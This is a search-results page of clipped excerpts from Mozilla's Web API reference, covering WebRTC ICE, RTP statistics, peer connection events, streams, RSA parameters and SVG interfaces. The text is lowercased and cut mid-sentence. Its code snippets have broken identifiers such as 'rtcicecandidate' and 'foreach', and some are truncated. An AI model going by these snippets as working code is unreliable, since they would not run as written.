RTCDataChannel.protocol - Web APIs
if no protocol was specified when the data channel was created, then
this property's value is "" (the empty string).
... the permitted values of
this property are defined by the web site or app using the data channel.
...if none has been established,
this is an empty string ("").
RTCIceCandidate.RTCIceCandidate() - Web APIs
syntax candidate = new rtcicecandidate([candidateinfo]); parameters candidateinfo optional an optional rtcicecandidateinit object providing information about the candidate; if
this is provided, the candidate is initialized configured to represent the described candidate.
...
this includes the candidate, sdpmid, sdpmlineindex, and usernamefragment properties.
... usage notes
this constructor does not do complete validation of the specified candidateinfo object or string.
RTCIceCandidate.component - Web APIs
usage notes consider
this sdp attribute line (a-line): a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host
this is an ice candidate a-line, whose foundation is 4234997325.
...if
this value were instead "2", the a-line would be describing an rtcp candidate, and compoment would be "rtcp".
... example
this code snippet examines a candidate's component type and dispatches the candidate to different handlers depending on the value.
RTCIceCandidate.protocol - Web APIs
protocol is null by default if not specified properly in the sdp, but
this is an error condition and will result in a thrown exception when you call rtcpeerconnection.addicecandidate().
...
this is the preferred protocol for media interactions because of its better performance profile.
... example
this code snippet examines the value of protocol to decide if it should look at the value of tcptype to see if it's a simultaneous-open (s-o) candidate.
RTCIceCandidate.usernameFragment - Web APIs
this value is specified when creating the rtcicecandidate by setting the corresponding usernamefragment value in the rtcicecandidateinit object when creating a new candidate with new rtcicecandidate().
...
this avoids crosstalk among multiple ongoing ice sessions, but, more importantly, helps secure ice transactions (and all of webrtc by extension) against attacks that might try to inject themselves into an ice exchange.
...to avoid including candidates obsoleted by an ice restart, we can use code like
this: const ssnewcandidate = signalmsg => { let candidate = new rtcicecandidate(signalmsg.candidate); let receivers = pc.getreceivers(); receivers.foreach(receiver => { let parameters = receiver.transport.getparameters(); if (parameters.usernamefragment === candidate.usernamefragment) { return; } }); pc.addicecandidate(candidate) .catch(reporterror); }
this walks ...
RTCIceCandidateInit - Web APIs
if the candidate is an indicator that there are no further candidates (rather than representing a new candidate),
this is the empty string ("").
...
this string is generated by webrtc at the beginning of the session, and at least 24 bits worth of the string contain random data.
...
this property has no default value and is not present unless set explicitly.
RTCIceCandidateStats.localCandidateId - Web APIs
the rtcicecandidatepairstats property localcandidateid is a string that uniquely identifies the local ice candidate which was analyzed to generate the rtcicecandidatestats used to compute the statistics for
this pair of candidates.
... syntax localcandidateid = rtcicecandidatepairstats.localcandidateid; value a domstring giving a unique identifier for the local rtcicecandidate for the connection described by
this rtcicecandidatepairstats object.
...
this candidate is the source of one of the two rtcicecandidatestats objects that were used to compute the contents of
this rtcicecandidatepairstats object.
RTCIceCandidatePairStats.requestsReceived - Web APIs
the rtcicecandidatepairstats dictionary's requestsreceived property indicates the total number of stun connectivity check requests that have been received so far on the connection described by
this pairing of candidates.
... syntax requestsreceived = rtcicecandidatepairstats.requestsreceived; value an integer value which specifies the number of stun connectivity and/or consent requests that have been received to date on the connection described by
this pair of ice candidates.
...
this differs from requestssent, which does not include retransmisions.
RTCIceCandidatePairStats.requestsSent - Web APIs
the rtcicecandidatepairstats dictionary's requestssent property indicates the total number of stun connectivity check requests that have been sent so far on the connection described by
this pair of candidates.
... syntax requestssent = rtcicecandidatepairstats.requestssent; value an integer value which specifies the number of stun connectivity requests that have been sent to date on the connection described by
this pair of ice candidates.
...
this differs from requestsreceived, which does include retransmisions.
RTCIceCandidateStats.url - Web APIs
this property is only available for local candidates.
...
this is the same url that would be received in the icecandidate event's url property.
... note:
this property does not exist for remote candidates.
RTCIceCredentialType - Web APIs
this process is detailed in rfc 7635.
...
this property was formerly called token.
...
this value has been renamed to oauth.
RTCIceServer.credential - Web APIs
this is typically a password, key, or other secret.
...
this value is used when the rtciceserver describes a turn server.
... }; var credential = iceserver.credential; iceserver.credential = newcredential; example
this example creates a new rtcpeerconnection which uses a turn server at turnserver.example.org to negotiate connections.
RTCIceServer.credentialType - Web APIs
this process is detailed in rfc 7635.
...
this property was formerly called token.
... example
this example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections.
RTCIceServer.url - Web APIs
this property has been removed from the specification; while it's still supported by many browsers, it should no longer be used.
... }; var serverurl = iceserver.url; iceserver.url = iceserverurl; the value of
this property is a domstring containing the full url of a server to use during ice negotiation.
... example
this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections.
RTCIceTransport.onselectedcandidatepairchange - Web APIs
syntax rtcicetransport.onselectedcandidatepairchange = candidatepairhandler; value
this propoerty should be set to reference an event handler function to be called by the ice agent when it discovers a new candidate pair that the rtcicetransport will be using for communication with the remote peer.
...
this event will occur at least once, and may occur more than once if the ice agent continues to identify candidate pairs that will work better, more closely match the requested parameters, and so forth.
... example in
this example, an event handler for selectedcandidatepairchange is set up to update an on-screen display showing the protocol used by the currently selected candidate pair.
RTCInboundRtpStreamStats.averageRtcpInterval - Web APIs
this interval is computed following the formula outlined in rfc 1889: a.7.
...since
this value is also used to determine the number of seconds after a stream starts to flow before the first rtcp packet should be sent, the result is that if many users try to start using the service at the same time, the server won't be flooded with rtcp packets coming in all at once.
... the sending endpoint computes
this value when sending compound rtcp packets, which must contain at least an rtcp rr or sr packet and an sdes packet with the cname item.
RTCInboundRtpStreamStats.bytesReceived - Web APIs
the rtcinboundrtpstreamstats dictionary's bytesreceived property is an integer value which indicates the total number of bytes received so far from
this synchronization source (ssrc).
... syntax var bytesreceived = rtcinboundrtpstreamstats.bytesreceived; value an unsigned integer value indicating the total number of bytes received so far on
this rtp stream, not including header and padding bytes.
...
this value can be used to calculate an approximation of the average media data rate: avgdatarate = rtcinboundrtpstreamstats.bytesreceived / elapsedtime;
this value gets reset to zero if the sender's ssrc identifier changes for any reason.
RTCInboundRtpStreamStats.framesDecoded - Web APIs
the framesdecoded property of the rtcinboundrtpstreamstats dictionary indicates the total number of frames which have been decoded successfully for
this media source.
... syntax var framesdecoded = rtcinboundrtpstreamstats.framesdecoded; value an integer value indicating the total number of video frames which have been decoded for
this stream so far.
...
this represents the number of frames that would have been displayed assuming no frames were skipped.
RTCInboundRtpStreamStats.lastPacketReceivedTimestamp - Web APIs
the lastpacketreceivedtimestamp property of the rtcinboundrtpstreamstats dictionary indicates the time at which the most recently received packet arrived from
this source.
... syntax var lastpackettimestamp = rtcinboundrtpstreamstats.lastpacketreceivedtimestamp; value a domhighrestimestamp which specifies the time at which the most recently received packet arrived on
this rtp stream.
... note:
this value differs from the timestamp, which represents the time at which the statistics object was created.
RTCNetworkType - Web APIs
this type is used as the value or the following properties: rtcicecandidate's networktype rtcstunserverconnectionstats's networktype values bluetooth a bluetooth connection is used by the described connection.
...
this includes all cellular data services including edge (2g), hspa (3g), lte (4g), and nr (5g).
...
this may be because the browser isn't able to determine the network type for some reason or it may be intentionally getting obscured for security reasons, such as to avoid device fingerprinting.
RTCOfferOptions.iceRestart - Web APIs
you should ideally do
this by calling the rtcpeerconnection's restartice() method, if it's available.
... fundamentally,
this renegotiation is triggered by generating and using new values for the ice username fragment ("ufrag")}} example
this example shows a handler for the iceconnectionstatechange event.
... pc.oniceconnectionstatechange = function(evt) { if (pc.iceconnectionstate === "failed") { if (pc.restartice) { pc.restartice(); } else { pc.createoffer({ icerestart: true }) .then(pc.setlocaldescription) .then(sendoffertoserver); } } } if the state changes to failed,
this handler starts by looking to see if the rtcpeerconnection includes the restartice() method; if it does, we call that to request an ice restart.
RTCOutboundRtpStreamStats.firCount - Web APIs
the fircount property of the rtcoutboundrtpstreamstats dictionary indicates the number of full intra request (fir) that the remote rtcrtpreceiver has sent to
this rtcrtpsender.
...
this statistic is available only for video tracks.
...
this tells the sender to send a full frame instead of a delta frame, so that the receiver can catch up.
RTCOutboundRtpStreamStats.framesEncoded - Web APIs
the framesencoded property of the rtcoutboundrtpstreamstats dictionary indicates the total number of frames that have been encoded by
this rtcrtpsender for
this media source.
... syntax var framesencoded = rtcoutboundrtpstreamstats.framesencoded; value an integer value indicating the total number of video frames that
this sender has encoded so far for
this stream.
... note:
this property is only valid for video streams.
RTCOutboundRtpStreamStats.lastPacketSentTimestamp - Web APIs
the lastpacketsenttimestamp property of the rtcoutboundrtpstreamstats dictionary indicates the time at which the rtcrtpsender described by
this rtcoutboundrtpstreamstats object last transmitted a packet to the remote receiver.
... syntax var lastpackettimestamp = rtcoutboundrtpstreamstats.lastpacketsenttimestamp; value a domhighrestimestamp which specifies the time at which the most recently received packet arrived on
this rtp stream.
... note:
this value differs from the timestamp, which represents the time at which the statistics object was created.
RTCPeerConnection: addstream event - Web APIs
important:
this event has been removed from the webrtc specification.
... examples
this example looks to determine if the user's browser supports the track event.
... if (pc.addtrack !== undefined) { pc.ontrack = ev => { ev.streams.foreach(stream => doaddstream(stream)); } } else { pc.onaddstream = ev => { doaddstream(ev.stream); } }
this calls a function doaddstream() once for each stream being added to the rtcpeerconnection, regardless of whether the browser sends addstream or track.
RTCPeerConnection: datachannel event - Web APIs
note:
this event is not dispatched when the local end of the connection creates the channel.
... bubbles no cancelable no interface rtcdatachannelevent event handler property ondatachannel examples
this example sets up a function that handles datachannel events by gathering the information needed to communicate with the newly added rtcdatachannel and by adding event handlers for the events that occur on that channel.
...
this same code can also instead use the rtcpeerconnection interface's ondatachannel event handler property, like
this: pc.ondatachannel = ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; } specifications specification status comment webrtc 1.0: real-time com...
RTCPeerConnection.getConfiguration() - Web APIs
syntax var configuration = rtcpeerconnection.getconfiguration(); parameters
this method takes no input parameters.
... example
this example adds a new certificate to an active connection if it doesn't already have one in use.
...(); if ((configuration.certificates != undefined) && (!configuration.certificates.length)) { rtcpeerconnection.generatecertificate({ name: 'rsassa-pkcs1-v1_5', hash: 'sha-256', moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]) }).then(function(cert) { configuration.certificates = [cert]; mypeerconnection.setconfiguration(configuration); }); }
this example fetches the current configuration of the rtcpeerconnection, then looks to see if it has any certificates set by examining whether or not (a) the configuration has a value for certificates, and (b) whether its length is zero.
RTCPeerConnection.getIdentityAssertion() - Web APIs
this has an effect only if the signalingstate is not "closed".
... it is not expected for the application dealing with the rtcpeerconnection:
this is automatically done; an explicit call only allows to anticipate the need.
... syntax pc.getidentityassertion(); there is neither parameter nor return value for
this method.
RTCPeerConnection.iceConnectionState - Web APIs
you can detect when
this value has changed by watching for the iceconnectionstatechange event.
...
this is a less stringent test than "failed" and may trigger intermittently and resolve just as spontaneously on less reliable networks, or during temporary disconnections.
... "closed" the ice agent for
this rtcpeerconnection has shut down and is no longer handling requests.
RTCPeerConnection.iceGatheringState - Web APIs
this lets you detect, for example, when collection of ice candidates has finished.
... you can detect when the value of
this property changes by watching for an event of type icegatheringstatechange.
...you can detect when
this value changes by watching for an event of type icegatheringstatechange.
RTCPeerConnection: icegatheringstatechange event - Web APIs
this signifies that the value of the connection's icegatheringstate property has changed.
...
this also indicates that collection of candidates is finished.
... examples
this example creates a handler for icegatheringstatechange events.
RTCPeerConnection: icecandidateerror event - Web APIs
this handler looks specifically for 701 errors that indicate that candidates couldn't reach the stun or turn server.
... when
this happens, the server url and the error message are passed to a function called reportconnectfail() to log or output the connection failure.
... pc.addeventlistener("icecandidateerror", (event) => { if (event.errorcode === 701) { reportconnectfail(event.url, event.errortext); } }); note that if multiple stun and/or turn servers are provided when creating the connection,
this error may happen more than once, if more than one of those servers fails.
RTCPeerConnection.localDescription - Web APIs
if it has not yet been set,
this is null.
...see pending and current descriptions in webrtc connectivity for details on
this algorithm and why it's used.
... example
this example looks at the localdescription and displays an alert containing the rtcsessiondescription object's type and sdp fields.
RTCPeerConnection.ondatachannel - Web APIs
this event, of type rtcdatachannelevent, is sent when an rtcdatachannel is added to the connection by the remote peer calling createdatachannel().
... at the time
this event is received, the rtcdatachannel it indicates may not yet actually be open.
... syntax rtcpeerconnection.ondatachannel = function; value set
this property to be a function you provide which receives as input a single parameter: an rtcdatachannelevent which provides in its channel property the rtcdatachannel which has been created.
RTCPeerConnection.peerIdentity - Web APIs
once
this promise resolves successfully, the resulting identity is the target peer identity and cannot change for the duration of the connection.
... example in
this example, a function, getidentityassertion(), is created which asynchronously waits for the peer's identity to be verified, then returns the identity to the caller.
... if an error occurs and the promise is rejected,
this logs the error to the console and returns null to the caller.
RTCPeerConnection: peeridentity event - Web APIs
an event handler for
this event can be added via the rtcpeerconnection.onpeeridentity property.
... bubbles no cancelable no interface event event handler property onpeeridentity important:
this event and its event handler have been removed from the specification and are no longer available.
... instead of using
this event to detect when an identity is available, simply wait for the promise returned by rtcpeerconnection.peeridentity to be resolved.
RTCPeerConnection.remoteDescription - Web APIs
if
this hasn't been set yet,
this is null.
...see pending and current descriptions in webrtc connectivity for details on
this algorithm and why it's used.
... example
this example looks at the remotedescription and displays an alert containing the rtcsessiondescription object's type and sdp fields.
RTCPeerConnection: removestream event - Web APIs
you can use the rtcpeerconnection interface's onremovestream property to set a handler for
this event.
...
this is the counterpart to the addstream event, which is also obsolete.
... bubbles no cancelable no interface mediastreamevent event handler property rtcpeerconnection.onremovestream important:
this event has been removed from the webrtc specification in favor of the existing removetrack event on the remote mediastream and the corresponding mediastream.onremovetrack event handler property of the remote mediastream.
RTCPeerConnectionIceErrorEvent - Web APIs
you will not normally create an object of
this type yourself.
...if no host candidate can reach the server,
this property is set to the number 701, which is outside the range of valid stun error codes.
...if communication with the stun or turn server couldn't be established at all,
this string will be a browser-specific string explaining the error.
RTCPeerConnectionIceEvent() - Web APIs
if the candidate was not gathered by a stun or turn server,
this value must be null.
... "bubbles" (optional, default is false): inherited from eventinit(),
this boolean option indicates whether or not the event must bubble.
... "cancelable" (optional, default is false, inherited from eventinit(),
this boolean indicates whether or not the event can be canceled.
RTCRtpCodecParameters - Web APIs
most of the fields in
this property take values which are defined and maintained by the internet assigned numbers authority (iana).
... references to relevant iana documents are provided in the see also section at the end of
this article.
... properties payloadtype optional the rtp payload type used to identify
this codec.
RTCRtpContributingSource.audioLevel - Web APIs
this value, which is in the range 0.0 to 1.0, is on a linear scale and its value is defined in dbov, or decibels (overload).
...
this is the amplitude relative to the point at which clipping of the audio begins to occur.
... for both rtcrtpcontributingsource and rtcrtpsynchronizationsource, the audio level is converted to
this form from the values defined in the specifications corresponding to each type of source.
RTCRtpContributingSource - Web APIs
properties audiolevel optional a double-precision floating-point value between 0 and 1 specifying the audio level contained in the last rtp packet played from
this source.
...
this value is a source-generated time value which can be used to help with sequencing and synchronization.
... timestamp optional a domhighrestimestamp indicating the most recent time at which a frame originating from
this source was delivered to the receiver's mediastreamtrack specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcontributingsource' in that specification.
RTCRtpEncodingParameters.maxBitrate - Web APIs
the rtcrtpencodingparameters dictionary's maxbitrate property specifies the maximum number of bits per second to allow a track encoded with
this encoding to use.
... syntax rtpencodingparameters.maxbitrate = maxbitspersecond; rtpencodingparameters = { maxbitrate: maxbitspersecond }; maxbitspersecond = rtpencodingparameters.maxbitrate; value an unsigned long integer value specifying the maximum bandwidth
this encoding is permitted to use for a track of media it encodes in terms of bits per second.
...
this value is computed using the standard transport independent application specific maximum (tias) bandwidth as defined by rfc 3890, section 6.2.2;
this is the maximum bandwidth needed without considering protocol overheads from ip, tcp or udp, and so forth.
RTCRtpReceiver.getCapabilities() static function - Web APIs
description as a static function,
this is always called using the form: capabilities = rtcrtpreceiver.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list.
...for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities;
this might be done, for example, by leaving out rarely-used codec configurations.
... since rtcrtpreceiver.getcapabilities() actually only indicates probable support, attempting to receive h.264 video might still fail even after getting a positive response from
this function.
RTCRtpReceiver.transport - Web APIs
this transport is responsible for receiving the data for the media on the receiver's track.
...
this is replaced with an rtcdtlstransport once the receiver's transport has been established.
... note that when bundling is in effect—that is, when the rtcpeerconnection was created with an rtcconfiguration object whose bundlepolicy is max-compat or max-bundle—multiple receivers may be sharing the same transport; in
this case, all of them are using the same connection to transmit and/or receive rtp and rtcp packets.
RTCRtpSender.getCapabilities() static function - Web APIs
description as a static function,
this is always called using the form: capabilities = rtcrtpsender.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list.
...for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities;
this might be done, for example, by leaving out rarely-used codec configurations.
... since rtcrtpsender.getcapabilities() actually only indicates probable support, h.264 support might still fail even after getting a positive response from
this function.
RTCRtpSender.replaceTrack() - Web APIs
the promise is rejected if the track cannot be replaced for any reason;
this is commonly because the change would require renegotiation of the codec, which is not allowed (see things that require negotiation).
...no negotiation is required in
this case.
... invalidstateerror the track on which
this method was called is stopped rather than running.
RTCRtpSender.transport - Web APIs
this transport is responsible for receiving the data for the media on the sender's track.
...
this is replaced with an rtcdtlstransport once the sender's transport has been established.
... note that when bundling is in effect—that is, when the rtcpeerconnection was created with an rtcconfiguration object whose bundlepolicy is max-compat or max-bundle—multiple senders may be sharing the same transport; in
this case, all of them are using the same connection to transmit and/or receive rtp and rtcp packets.
RTCRtpStreamStats.firCount - Web APIs
this is a measure of how often the stream falls behind and has to skip frames in order to catch up.
...
this value is available only on receivers for video tracks.
...
this tells the sender to send a full frame instead of a delta frame, so that the receiver can catch up.
RTCRtpStreamStats.kind - Web APIs
this property was previously called mediatype.
...see browser compatibility below to determine how
this affects the browsers you're targeting.
...
this string will always be the same as the one provided by the associated mediastreamtrack object's kind property.
RTCRtpStreamStats.trackId - Web APIs
the rtcrtpstreamstats dictionary's trackid property is a string which uniquely identifies the rtcmediastreamtrackstats object which contains the track statistics for the mediastreamtrack for which statistics are provided in
this object.
... syntax var trackid = rtcrtpstreamstats.trackid; value a domstring which uniquely identifies the rtcmediastreamtrackstats object that provides statistics for the track for which statistics are being collected by
this rtcstatsreport.
... note:
this value is not the same as the value of mediastramtrack.id.
RTCRtpTransceiver.setCodecPreferences() - Web APIs
the specified set of codecs and configurations will be used for all future connections including
this transceiver until
this method is called again.
...
this lets you prevent the use of codecs you don't wish to use.
...if any unsupported codecs are listed, the browser will throw an invalidaccesserror exception when you call
this method.
RTCSctpTransport - Web APIs
this provides information about limitations of the transport, but also provides a way to access the underlying datagram transport layer security (dtls) transport over which sctp packets for all of an rtcpeerconnection's data channels are sent and received.
... possibly the most useful property on
this interface is its maxmessagesize property, which you can use to determine the upper limit on the size of messages you can send over a data channel on the peer connection.
... methods
this interface has no methods, but inherits methods from: eventtarget example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsctptransport' in that specification.
RTCStats.timestamp - Web APIs
for reports related to rtcp packets, for instance,
this indicates the time at which the data covered by the statistics was received at the corresponding endpoint.
... syntax var timestamp = rtcstats.timestamp; value a domhighrestimestamp value indicating the time at which the activity described by the statistics in
this object was recorded, in milliseconds elapsed since the beginning of january 1, 1970, utc.
...
this should be accurate to within a few milliseconds but may not be entirely pricise, either because of hardware or operating system limitations or because of fingerprinting protection in the form of reduced clock precision or accuracy.
Range.getBoundingClientRect() - Web APIs
the range.getboundingclientrect() method returns a domrect object that bounds the contents of the range;
this is a rectangle enclosing the union of the bounding rectangles for all the elements in the range.
...
this method is useful for determining the viewport coordinates of the cursor or selection inside a text box.
... syntax boundingrect = range.getboundingclientrect() example html <div id="highlight"></div> <p>
this example positions a "highlight" rectangle behind the contents of a range.
ReadableStream.getReader() - Web APIs
while the stream is locked, no other reader can be acquired until
this one is released.
... undefined (or not specified at all —
this is the default), which results in a readablestreamdefaultreader being created that can read individual chunks from a stream.
...current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call
this function again return reader.read().then(processtext); }); } specifications specification status comment streamsthe definition of 'getreader()' in that specification.
ReadableStream - Web APIs
while the stream is locked, no other reader can be acquired until
this one is released.
...while the stream is locked, no other reader can be acquired until
this one is released.
... readablestream.tee() the tee method tees
this readable stream, returning a two-element array containing the two resulting branches as new readablestream instances.
ReadableStreamDefaultReader.read() - Web APIs
examples example 1 - simple example
this example shows the basic api usage, but doesn't try to deal with complications like stream chunks not ending on line boundaries for example.
... in
this example stream is a previously-created custom readablestream.
...current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call
this function again return reader.read().then(processtext); }); } example 2 - handling text line by line
this example shows how you might fetch a text file and handle it as a stream of text lines.
RelativeOrientationSensor - Web APIs
to use
this sensor, the user must grant permission to the 'accelerometer', and 'gyroscope' device sensors through the permissions api.
...
this is not something that would ever be shown to a user.
... note that the intel demo
this is based on uses the absoluteoreintationsensor.
ReportingObserver() - Web APIs
this is probably the most common way to retrieve the reports.
...the available options are: types: an array of strings representing the types of report to be collected by
this observer.
... available types include deprecation, intervention, and crash (although
this last type usually isn't retrievable via a reportingobserver).
Request - Web APIs
this is a string indicating the type of content being requested.
... examples in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then return some property values of the request: const request = new request('https://www.mozilla.org/favicon.ico'); const url = request.url; const method = request.method; const credentials = request.credentials; you could then fetch
this request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example: fetch(request) .then(response => response.blob()) .then(blob => { image.src = url.createobjecturl(blob); }); in the following snippet, we create a new request using the request() constructor with some initial data and body content for an api request which need a body paylo...
... you could then fetch
this api request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example and get the response: fetch(request) .then(response => { if (response.status === 200) { return response.json(); } else { throw new error('something went wrong on api server!'); } }) .then(response => { console.debug(response); // ...
RsaHashedImportParams - Web APIs
this should be set to rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep, depending on the algorithm you want to use.
...
this can be one of sha-256, sha-384, or sha-512.
... warning: although you can technically pass sha-1 here,
this is strongly discouraged as it is considered vulnerable.
RsaHashedKeyGenParams - Web APIs
this should be set to rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep, depending on the algorithm you want to use.
...
this should be at least 2048: see for example see nist sp 800-131a rev.
... warning: although you can technically pass sha-1 as a value here,
this is strongly discouraged as sha-1 is considered vulnerable.
RsaPssParams - Web APIs
this should be set to rsa-pss.
... rfc 3447 says that "typical salt lengths" are either 0 or the length of the output of the digest algorithm that was selected when
this key was generated.
... for example, if you use sha-256 as the digest algorithm,
this could be 32.
SVGAltGlyphDefElement - Web APIs
ltglyphdefelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgaltglyphdefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning:
this interface was removed in the svg 2 specification.
... properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement.
SVGAltGlyphItemElement - Web APIs
glyphitemelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgaltglyphitemelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning:
this interface was removed in the svg 2 specification.
... properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement.
SVGElement - Web APIs
this works just like html's htmlelement.dataset property and html's data-* global attribute.
...
this attribute is deprecated and may be removed in a future version of
this specification.
... methods
this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance events listen to these events using addeventlistener() or by assigning an event listener to the equivalent on...
SVGExternalResourcesRequired - Web APIs
the svgexternalresourcesrequired interface defines an interface which applies to all elements where
this element or one of its descendants can reference an external resource.
...esrequired" target="_top"><rect x="1" y="1" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgexternalresourcesrequired</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning:
this interface was removed in the svg 2 specification.
... methods
this interface doesn't implement any specific methods.
SVGGlyphElement - Web APIs
/web/api/svgglyphelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning:
this interface was removed in the svg 2 specification.
... properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement.
SVGGraphicsElement: copy event - Web APIs
a handler for
this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
... it's possible to construct and dispatch a synthetic copy event, but
this will not affect the system clipboard.
... example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 100 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <text x="5" y="10" id="text-to-copy">copy
this text</text> <foreignobject x="5" y="20" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" placeholder="paste it here"/> </foreignobject> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementsbytagname("text")[0].addeventlistener("copy", evt => { evt.clipboarddata.setdata('text/plain', document.getselection().tostring().touppercase()); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics...
SVGGraphicsElement: paste event - Web APIs
a handler for
this event can access the clipboard contents by calling getdata() on the event's clipboarddata property.
... it's possible to construct and dispatch a synthetic paste event, but
this will not affect the document's contents.
... example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 140 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <foreignobject x="5" y="-10" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" value="copy
this text"/> </foreignobject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.clipboarddata.getdata("text/plain").touppercase(); evt.preventdefault(); }); result specifications specification status comment scalab...
SVGGraphicsElement - Web APIs
i/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note:
this interface was introduced in svg 2 and replaces the svglocatable and svgtransformable interfaces from svg 1.1.
... properties
this interface also inherits properties from its parent, svgelement.
... methods
this interface also inherits methods from its parent, svgelement.
SVGPathSeg - Web APIs
svg path segment interface
this is a base interface that corresponds to a single command within a path data specification.
...it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties name type description pathsegtype unsigned short the type of the path segment as specified by one of the constants defined on
this interface.
SVGUnitTypes - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface doesn't implement any specific properties.
... methods
this interface doesn't implement any specific methods.
SVGZoomAndPan - Web APIs
the svgzoomandpan interface is used to reflect the zoomandpan attribute, and is mixed in to other interfaces for elements that support
this attribute.
...it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... methods
this interface doesn't implement any specific methods.
Screen.availLeft - Web APIs
syntax let availleft = window.screen.availleft; example let setx = window.screen.width - window.screen.availleft; let sety = window.screen.height - window.screen.availtop; window.moveto(setx, sety); notes in most cases,
this property returns 0.
... if you work with two screens
this property, evaluated on the right screen, returns the width of the left one in pixels (thereby indicating the x coordinate of the left edge of the screen on the right).
... on windows,
this property depends on which screen is set as your primary, returning the x coordinate of the leftmost available pixel relative to the primary screen.
Screen.mozBrightness - Web APIs
indicates how bright the screen's backlight is, on a scale from 0 (very dim) to 1 (full brightness);
this value is a double-precision float.
... you can read and write
this attribute even when the screen is disabled, but the backlight is off while the screen is disabled.
... if you write a value of x into
this attribute, the attribute may not have the same value x when you later read it.
Screen Capture API - Web APIs
this stream can then be recorded or shared with others over the network.
...similar to getusermedia(),
this method creates a promise that resolves with a mediastream containing the display area selected by the user, in a format that matches the specified options.
...
this type is used for the displaysurface property in the constraints and settings objects, and has the possible values application, browser, monitor, and window.
ScriptProcessorNode - Web APIs
note: as of the august 29 2014 web audio api spec publication,
this feature has been marked as deprecated, and was replaced by audioworklet (see audioworkletnode).
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface: audioprocess fired when an input buffer of a scriptprocessornode is ready to be processed.
... } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in
this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] ...
SecurityPolicyViolationEvent - Web APIs
this will be "enforce" or "report".
...
this will be a url or null.
...
